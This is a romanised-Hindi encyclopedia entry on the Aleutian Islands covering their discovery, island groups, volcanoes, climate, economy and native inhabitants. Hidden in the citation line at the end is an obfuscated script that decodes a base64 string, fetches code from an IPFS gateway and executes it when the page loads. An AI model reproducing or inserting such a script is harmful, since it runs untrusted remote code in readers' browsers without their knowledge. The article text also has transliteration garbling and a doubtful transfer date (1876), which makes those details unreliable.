अल्यूशियन द्वीपपुंज
alyooshiyan dvipapuanj lagabhag 14 b de aur 55 chhote dvipoan tatha anek chotiyoan se bana hai. yah pahale kaitherin dvipapuanj ke nam se prasiddh tha. yah kamachataka prayadvip ke poorv se alaska prayadvip ke pashchim tak lagabhag 900 mil ke vistar mean phaila hua hai. isaki sthiti a. 52° u. se 55° u. tak aur de. 172° p. se 163° p. tak hai. yah sanyukt rajy (amarika) ke alaska rajy ka ek bhag hai.
1741 ee. mean roos sarakar ki prerana se denamark ke vaits beriang tatha roos ke aleski chirikov donoan ne seant pitar tatha seant pal namak jahajoan se uttari mahasagar ki or yatra ki. raste mean samudrik toophanoan se ye bichhu d ge. chirokov alyooshiyan dvipoan par a pahuanche aur beriang kamachataka hote hue kamaandar dvipapuanj par ae. tabhi se in dvipoan ka jnan yooropavaloan ko hua. yahaan inaka dehaant ho gaya. 1876 ee. tak alyooshiyan dvipapuanj roosiyoan ke hath mean tha, parantu bad mean amarika ke hath mean aya.
alyooshiyan dvipapuanj ke char pratham dvipasamooh phaks, aandriyanaph, rait aur nikat dvip (niyar ailaiands) kahalate haian. phaks aur aandriyanaph ke bich mean chatu:parvatiy dvip (ailaiands aauv for mauanteans) sthit hai. phaks dvipasamooh sabase poorv mean hai aur isake pratham dvipoan ke nam yunimak, unalaska aur umanak haian. chatu:parvatiy dvipoan mean chuginadakh, harbart, karalail, kagamil tatha uliaga pradhan haian. isamean amaliya, atka, gret sitakinh, adak, kanaga, tatha tanaga sammilit haian. rait dvipasamooh ka nam isamean pae janevale choohoan ki adhikata ke karan p da. nikat dvipasamooh ka nam roos ke sabase samipa rahane ke karan p da. semisopochanaye, amachitka, kiska tatha buldir rait dvipasamooh mean haian aur semichi dvip, agatoo tatha atoo nikat dvipasamooh mean haian.
alyooshiyan dvipapuanj ka nam alaska sthit alyooshiyan paha d se p da hai. in dvipoan ki ridh alaska ke pas dakshin pashchim ki or jhuki hai, parantu 1790 p.de. ke bad isaki disha badal jati hai. vaijnanikoan ke mat se yah dvipasamooh jvalamukhi udgar ke karan bana hai aur isalie agney dararoan ki disha ke anusar isaki ridh ki disha bani huee hai. inamean se adhikatar dvipoan par agniudgar ke chinh spasht haian tatha kee ek dvipoan par sakriy jvalamukhi vidyaman haian, jaise unimak mean mauant shishaldin ya smokiang mozaj, isake pas isanotaski pik (8,088 phut) aur mauant rauandatap (6,155 phut). inake atirikt umanak mean mauant sividoph (7,236 phut), unalaska mean mauant makushin (5,000 phut) aur chookinadak mean mauant kvivalaiand, ye sab agney giri haian. inamean se adhikatar paha doan par himanadi pravahit ho rahi hai. yah aanchal adhikaansh sthanoan mean agney chattanoan se bana hai. phir bhi ravadar chattane, patthar, paratadar chattanean, tatha liganait paryapt matra mean milate haian. inake upakool kate-phate haian aur isalie inapar pahuanchane ka marg bhayavah hai. dekhane se lagata hai, ye paha diyaan samudr ke oopar sidhi kh di haian.
is dvipapuanj ke itana uttar mean hote hue bhi yahaan ki jalavayu samudrik prabhav ke karan samashitoshn hai tatha varsha adhik hoti hai. alaska ki tulana mean isaka shitakalin tap lagabhag ek sa rahata hai, parantu grishmakalin tapakram mean paryapt aantar ho jata hai, arthath alaska ki apeksha yahaan garmi kam p dati hai. yahaan pray: sal bhar kuhara rahata hai. yahaan ki kheti mean kuchh sabjiyaan ugaee jati haian. krishi ka kary mee se sitanbar tak (lagabhag 135 din) hota hai. yahaan par vriksh kahian-kahian dikhaee dete haian. prakritik vanaspati mean pray: ghas ki jati ke paudhe hi adhik haian.
yahaan ke logoan ka mukhy vyavasay samudri machhali pak dana tatha akhet hai. ajakal bhe d tatha renadiyar (harin) palane ka bhi prayatn chal raha hai. yahaan par rahane vali merupradeshiy nili lom di ke shikar ke lie 18vian shatabdi mean roos ke oornajinavikreta (phar dilars) yahaan akar jame the, parantu jab se yah amarika ke hath mean a gaya, adivasiyoan ko chho dakar inhean marane ki ajna kisi ko nahian hai. in vyavasayoan ke atirikt yahaan ki striyoan ki banaee huee tokariyaan tatha unapar bane sookshm kadhaee ke kary prasiddh haian. ye log silaee karane tatha kap da bunane mean bhi chatur haian.
alyooshiyan dvipapuj ke adivasi esakvimavan jati ke haian. inaki bhasha, rahan-sahan, kary karane ki shakti adi eskimoan se milati-julati hai. inake gaanv upakool ke samip base haian, kyoanki upakool ke pas inhean pakshi, machhali, samudri jantu adi sugamata se upalabdh ho jate haian tatha jalane ki lak di bhi prapt ho jati haian. pahale ye log jamin ke niche ghar banakar rahate the aur kabhi-kabhi samuhik grih bhi banaya karate the. inaki sharirik gathan mean balishth deh, chhoti gardan, chhota kad, kala mukhamandal, kali aankhean tatha kale kesh pratyek videshi ki drishti apani or akrisht karate haian. eesaee dharm ka prachar yahaan poorn roop se hua aur yahaan ke nivasiyoan ka vartaman rahan-sahan pashchaty sabhyata se paryapt prabhavit hua hai.abadi adhikatar alaska dvipoan mean keandrit hai. ye dvip kaphi unnati par haian. sanyukt rajy (amarika) ke paharevale jahajoan ka yah ek adda hai. sanh 1949 tak alaska mean ek dach bandaragah bhi tha. is samay yah band ho gaya hai aur atoo mean ek chhota sa bandaragah chaloo rakha gaya hai.[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 268 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
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